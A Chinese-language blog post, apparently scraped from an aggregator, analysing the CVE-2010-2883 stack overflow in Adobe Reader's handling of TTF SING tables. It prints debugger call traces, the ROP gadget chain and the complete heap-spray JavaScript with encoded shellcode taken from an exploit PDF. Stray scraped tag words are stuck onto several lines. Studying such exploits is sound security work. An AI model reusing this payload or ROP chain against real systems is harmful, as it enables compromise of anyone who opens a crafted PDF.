CVE-2010-2883 Adobe Reader TTF字體SING表棧溢出漏洞

  此漏洞是因strcat()複製SING表而出現的棧溢出漏洞,同時可經過PDF中可運行JS代碼的特性來進行堆噴射運行shellcode,達到最終exploitation的目的。javascript

    在分析具體漏洞以前,我建議先看看相關的PDF格式說明,以及TTF字體和相關的SING表,SING表的資料比較難找,只能找到一些圖片說明。TTF字體結構是「偏移子表」-「表目錄」-「X表」這種形式的,其中表目錄的結構是html

    SING表數據結構說明:java

    瞭解了相應的基礎知識後,咱們來具體地查看漏洞代碼。直接IDA定位String View到源碼,shell

關鍵處,大體僞碼是這樣的:數據結構

此處,*(_DWORD*)sing_table_ptr得到的是SING表的tableVersionMajor+tableVersionMinor,比較SING表的version以後才進行strcat(),而(const char*)(sing_table_ptr+0x10)則是uniqueName,此處即是將SING表的uniqueName項複製到&v24處,從而致使溢出。詳細的觸發狀況是這樣的:app

0803DDAB    E8 483D1300               call jmp.MSVCR80.strcat
0803DEAF    E8 2A8DFDFF               call CoolType.08016BDE
    08016C56    E8 C64E0000               call CoolType.0801BB21
        0801BB41    FF10                      call dword ptr ds:[eax]
            0808B308    FF10                      call dword ptr ds:[eax] // 觸發點,eax=0x12E6D0,距離uniqueName起始處0x7B0字節

到達觸發點時的運行棧佈局如圖所示:函數

4A80CB38    add ebp,794                 //ebp=0x0012E4DC(0x0012DD48+0x794)
4A80CB3E    leave                       //esp=0x0012E4E0(mov esp,ebp;pop ebp),ebp=[0x0012E4DC](0x0FEB0EEA)
4A80CB3F    ret                         //eip=[esp]=0x4A82A714       

//首先call dword ptr ds:[eax]運行到0x4A80CB38處,
//將棧向高地址移動,即移動到咱們的uniqueName+0x8處
//以後再ret跳到0x4A82A714處
4A82A714       pop esp          //esp=[esp](0x0C0C0C0C)                    
4A82A715       ret              //eip=[0x0C0C0C0C]=0x4A8063A5        

//第二階段的gadget將堆棧移動到0x0C0C0C0C處,
//使得咱們能經過剩下的gadget配合堆上的參數調用目標函數

剩下的部分就是執行堆噴射處的gadget了,咱們能夠在PDFStreamDumper中查看到PDF文件嵌入的JS代碼佈局

var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ue9d9%u6ebf%u2e0e%ud92b%u2474%u5df4%uc933%u31b1%ued83%u31fc%u147d%u7d03%uec7a%ud7db%u726a%u2823%u136a%ucdad%u135b%u86c9%ua3cb%ucb99%u48e7%uffcf%u3c7c%uf0d8%u8b35%u3e3e%ua0c6%u2103%ubb44%u8157%u7475%uc0aa%u69b2%u9047%ue56b%u05fa%ub318%uaec6%u5552%u524f%u5422%uc57e%u0f39%ue7a0%u3bee%uffe9%u06f3%u74a3%ufdc7%u5d32%ufd16%ua099%u0c97%ue5e3%uef1f%u1f96%u925c%udba0%u481f%uf824%u1b87%u249e%ucf36%uae79%ua434%ue80e%u3b58%u82c2%ub064%u44e5%u82ed%u40c1%u51b6%ud06b%u3712%u0294%ue8fd%u4830%ufc13%u1348%u0379%u29de%u03cf%u31e0%u6c7f%ubad1%ueb10%u68ee%u0355%u31a5%u8cff%ua060%ud142%u1e92%uec80%uab10%u0b78%ude08%u577d%u328e%uc80f%u357b%ue9bc%u56a9%u7a23%ub731%ufac6%uc7d0' );
var rop1 = unescape('%u0C0C%u0C0C');
while (rop1.length + 20 + 8 < 65536) 
  rop1 +=rop1;

rop2 = rop1.substring(0, (0x0c0c-0x24)/2);
rop2 += shellcode;
rop2 += rop1;
rop3 = rop2.substring(0, 65536/2);

while(rop3.length < 0x80000) 
  rop3 += rop3;

rop4 = rop3.substring(0, 0x80000 - (0x1020-0x08) / 2);
var final_shellcode = new Array();
for (i=0;i<0x1f0;i++)
  final_shellcode[i]=rop4+"s";

只是一串精準定位堆噴射的代碼,具體技術目前我也不是很清楚,以後研究清楚了我會回改的。若是如今你想了解更多,可看這裏post

第一個棧溢出漏洞分析告一段落,理論上說也能夠將剩下的gadget放在棧中,但是0x12E6D0-0x12E4DC之間0x1F4字節的空間不是很大(shellcode.len=0x220),因此索性使用堆噴射來繞過DEP而且加載運行shellcode(真正的功能性shellcode是從0x0C0C0D54處開始的)字體

相關文章
相關標籤/搜索